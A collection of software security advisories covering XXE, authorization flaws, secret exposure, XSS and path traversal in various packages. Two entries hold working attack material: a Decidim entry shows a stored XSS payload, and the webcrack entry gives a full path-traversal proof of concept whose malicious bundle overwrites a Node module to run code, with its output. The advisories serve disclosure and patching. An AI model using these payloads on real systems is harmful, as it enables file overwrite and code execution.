The profile location routine in the referencevalidator commons package is vulnerable to [XML External Entities](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)) attack due to insecure defaults of the used Woodstox WstxInputFactory. A malicious XML resource can lead to network requests issued by referencevalidator and thus to a [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery) attack.

The vulnerability impacts applications which use referencevalidator to process XML resources from untrusted sources.

### Patches
The problem has been patched with the [2.5.1 version](https://github.com/gematik/app-referencevalidator/releases/tag/2.5.1) of the referencevalidator. Users are strongly recommended to update to this version or a more recent one.

### Workarounds
A pre-processing or manual analysis of input XML resources on existence of DTD definitions or external entities can mitigate the problem.

### References
- [OWASP Top 10 XXE](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)#)
- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
- [OWASP XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#transformerfactory)


SpiceDB having multiple caveats on resources of the same type may improperly result in no permission

[Severity: MEDIUM]

## Background

Multiple caveats over the same indirect subject type on the same relation can result in no permission being returned when permission is expected

For example, given this schema:

```
definition user {}

caveat somecaveat(somefield int) {
  somefield == 42
}

definition group {
  relation member: user
}

definition resource {
  relation viewer: group#member with somecaveat
  permission view = folder->view
}
```

If the resource has multiple groups, and each group is caveated, it is possible for the returned permission to be "no permission" when permission is expected.

## Impact
Permission is returned as NO_PERMISSION when PERMISSION is expected on the CheckPermission API.

## Workarounds
Do not use caveats or do not use caveats on an indirect subject type with multiple entries


org.xwiki.platform:xwiki-platform-notifications-ui is missing checks for notification filter preferences editions

[Severity: HIGH]

### Impact

It's possible for any user knowing the ID of a notification filter preference of another user, to enable/disable it or even delete it. The impact is that the target user might start loosing notifications on some pages because of this.
This vulnerability is present in XWiki since 13.2-rc-1.

### Patches

The vulnerability has been patched in XWiki 14.10.21, 15.5.5, 15.10.1, 16.0-rc-1. The patch consists in checking properly the rights of the user before performing any action on the filters.

### Workarounds

It's possible to fix manually the vulnerability by editing the document `XWiki.Notifications.Code.NotificationPreferenceService` to apply the changes performed in this commit e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4.

### References

  * JIRA ticket: https://jira.xwiki.org/browse/XWIKI-20337
  * Commit: e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)

### Attribution

This vulnerability has been reported on Intigriti by @floerer


 Decidim::Admin vulnerable to cross-site scripting (XSS) in the admin panel with QuillJS WYSWYG editor

[Severity: MEDIUM]

### Impact

The WYSWYG editor QuillJS is subject to potential XSS attach in case the attacker manages to modify the HTML before being uploaded to the server.

The attacker is able to change e.g. to <svg onload=alert('XSS')> if they know how to craft these requests themselves.

### Patches

N/A

### Workarounds

Review the user accounts that have access to the admin panel (i.e. general Administrators, and participatory space's Administrators) and remove access to them if they don't need it.

Disable the "Enable rich text editor for participants" setting in the admin dashboard

### References

OWASP ASVS v4.0.3-5.1.3


OpenDaylight Model-Driven Service Abstraction Layer (MD-SAL) allows follower controller to set up flow entries

[Severity: HIGH]

In OpenDaylight Model-Driven Service Abstraction Layer (MD-SAL) through 13.0.1, a controller with a follower role can configure flow entries in an OpenDaylight clustering deployment.


Eclipse Dataspace Components's ConsumerPullTransferTokenValidationApiController doesn't check for token validit

[Severity: MEDIUM]

In Eclipse Dataspace Components, from version 0.5.0 and before version 0.9.0, the ConsumerPullTransferTokenValidationApiController does not check for token validity (expiry, not-before, issuance date), which can allow an attacker to bypass the check for token expiration. The issue requires to have a dataplane configured to support http proxy consumer pull AND include the module "transfer-data-plane". The affected code was marked deprecated from the version 0.6.0 in favour of Dataplane Signaling. In 0.9.0 the vulnerable code has been removed.


The Bare Metal Operator (BMO) can expose particularly named secrets from other namespaces via BMH CRD

[Severity: MEDIUM]

### Impact
The Bare Metal Operator (BMO) implements a Kubernetes API for managing bare metal hosts in Metal3. The `BareMetalHost` (BMH) CRD allows the `userData`, `metaData`, and `networkData` for the provisioned host to be specified as links to Kubernetes Secrets. There are fields for both the `Name` and `Namespace` of the Secret, meaning that the baremetal-operator will read a `Secret` from any namespace. A user with access to create or edit a `BareMetalHost` can thus exfiltrate a `Secret` from another namespace by using it as e.g. the `userData` for provisioning some host (note that this need not be a real host, it could be a VM somewhere).

### Limiting factors
BMO will only read a key with the name `value` (or `userData`, `metaData`, or `networkData`), so that limits the exposure somewhat. `value` is probably a pretty common key though. Secrets used by _other_ `BareMetalHost`s in different namespaces are always vulnerable.

It is probably relatively unusual for anyone other than cluster administrators to have RBAC access to create/edit a `BareMetalHost`. This vulnerability is only meaningful, if the cluster has users other than administrators and users' privileges are limited to their respective namespaces.

### Patches
The patch prevents BMO from accepting links to Secrets from other namespaces as BMH input. Any BMH configuration is only read from the same namespace only.

The problem is patched in BMO releases v0.8.0, v0.6.2 and v0.5.2 and users should upgrade to those versions. Prior upgrading and if needed, duplicate the BMC Secrets to the namespace where the corresponding BMH is. After upgrade, remove the old Secrets.

### Workarounds
Operator can configure BMO RBAC to be namespace scoped for Secrets, instead of cluster scoped, to prevent BMO from accessing Secrets from other namespaces.

### References
- https://nvd.nist.gov/vuln/detail/CVE-2024-43803
- https://github.com/metal3-io/baremetal-operator/pull/1929
- https://github.com/metal3-io/baremetal-operator/pull/1930
- https://github.com/metal3-io/baremetal-operator/pull/1931


Mattermost allows user with systems manager role with read-only access to teams to perform write operations on teams

[Severity: HIGH]

Mattermost versions 9.9.x <= 9.9.1, 9.5.x <= 9.5.7, 9.10.x <= 9.10.0, 9.8.x <= 9.8.2 fail to properly enforce permissions which allows a user with systems manager role with read-only access to teams to perform write operations on teams.


Mage AI allows remote unauthenticated attackers to leak the terminal server command history of arbitrary users

[Severity: MEDIUM]

Mage AI allows remote unauthenticated attackers to leak the terminal server command history of arbitrary users.


In XWiki Platform, payloads stored in content is executed when a user with script/programming right edit them

[Severity: CRITICAL]

### Impact

A user without script/programming right can trick a user with elevated rights to edit a content with a malicious payload using a WYSIWYG editor.
The user with elevated rights is not warned beforehand that they are going to edit possibly dangerous content.
The payload is executed at edit time.

### Patches

This vulnerability has been patched in XWiki 15.10RC1.

### Workarounds

No workaround. It is advised to upgrade to XWiki 15.10+.

### References

* https://jira.xwiki.org/browse/XWIKI-20331
* https://jira.xwiki.org/browse/XWIKI-21311
* https://jira.xwiki.org/browse/XWIKI-21481
* https://jira.xwiki.org/browse/XWIKI-21482
* https://jira.xwiki.org/browse/XWIKI-21483
* https://jira.xwiki.org/browse/XWIKI-21484
* https://jira.xwiki.org/browse/XWIKI-21485
* https://jira.xwiki.org/browse/XWIKI-21486
* https://jira.xwiki.org/browse/XWIKI-21487
* https://jira.xwiki.org/browse/XWIKI-21488
* https://jira.xwiki.org/browse/XWIKI-21489
* https://jira.xwiki.org/browse/XWIKI-21490

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)

### Attribution

This vulnerability has been reported on Intigriti by @floerer


Flask-CORS allows the `Access-Control-Allow-Private-Network` CORS header to be set to true by default

[Severity: HIGH]

A vulnerability in corydolphin/flask-cors version 4.0.1 allows the `Access-Control-Allow-Private-Network` CORS header to be set to true by default, without any configuration option. This behavior can expose private network resources to unauthorized external access, leading to significant security risks such as data breaches, unauthorized access to sensitive information, and potential network intrusions.


Nomad Vulnerable to Allocation Directory Escape On Non-Existing File Paths Through Archive Unpacking

[Severity: MEDIUM]

In HashiCorp Nomad and Nomad Enterprise from 0.6.1 up to 1.6.13, 1.7.10, and 1.8.2, the archive unpacking process is vulnerable to writes outside the allocation directory during migration of allocation directories when multiple archive headers target the same file. This vulnerability, CVE-2024-7625, is fixed in Nomad 1.6.14, 1.7.11, and 1.8.3. Access or compromise of the Nomad client agent at the source allocation first is a prerequisite for leveraging this vulnerability.


webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle

[Severity: MEDIUM]

### Summary
An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.

### Details

Source: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)
```ts
import { posix } from 'node:path';
import type { Module } from './module';

// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;

/* ... snip ... */

const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
    throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
    recursive: true
});
await writeFile(modulePath, module.code, 'utf8');
```

In this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.

### PoC
The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:

**Malicious Script (what.js):**

```js
(function (e) {
    var n = {};
    function o(r) {
      if (n[r]) {
        return n[r].exports;
      }
      var a = (n[r] = {
        i: r,
        l: false,
        exports: {},
      });
      e[r].call(a.exports, a, a.exports, o);
      a.l = true;
      return a.exports;
    }
    o.p = '';
    o((o.s = 386));
  })({
    './\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
        module.exports = () => console.log("pwned")
    },
  });
```

**Webcrack Script (index.js):**

```js
import fs from 'fs';
import { webcrack } from 'webcrack';

const input = fs.readFileSync('what.js', 'utf8');

const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');
```

**Execution:**
Running the above script with `node index.js` twice results in the following output being printed to the terminal:

```
PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
  var n = {};
  function o(r) {
    if (n[r]) {
      return n[r].exports;
    }
    var a = n[r] = {
      i: r,
      l: false,
      exports: {}
    };
    e[r].call(a.exports, a, a.exports, o);
    a.l = true;
    return a.exports;
  }
  o.p = "";
  o(o.s = 386);
})({
  "./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
    module.exports = () => console.log("pwned");
  }
});
WebpackBundle {
  type: 'webpack',
  entryId: '386',
  modules: Map(1) {
    './\\..\\node_modules\\debug\\src\\index' => WebpackModule {
      id: './\\..\\node_modules\\debug\\src\\index',
      isEntry: false,
      path: '././\\..\\node_modules\\debug\\src\\index.js',
      ast: [Object]
    }
  }
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
  if (options.log) logger(`${name}: started`);
                   ^

TypeError: logger is not a function
    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
    at async file:///C:/Webcrack/index.js:6:16

Node.js v18.16.0
```

This demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.

### Impact
This vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.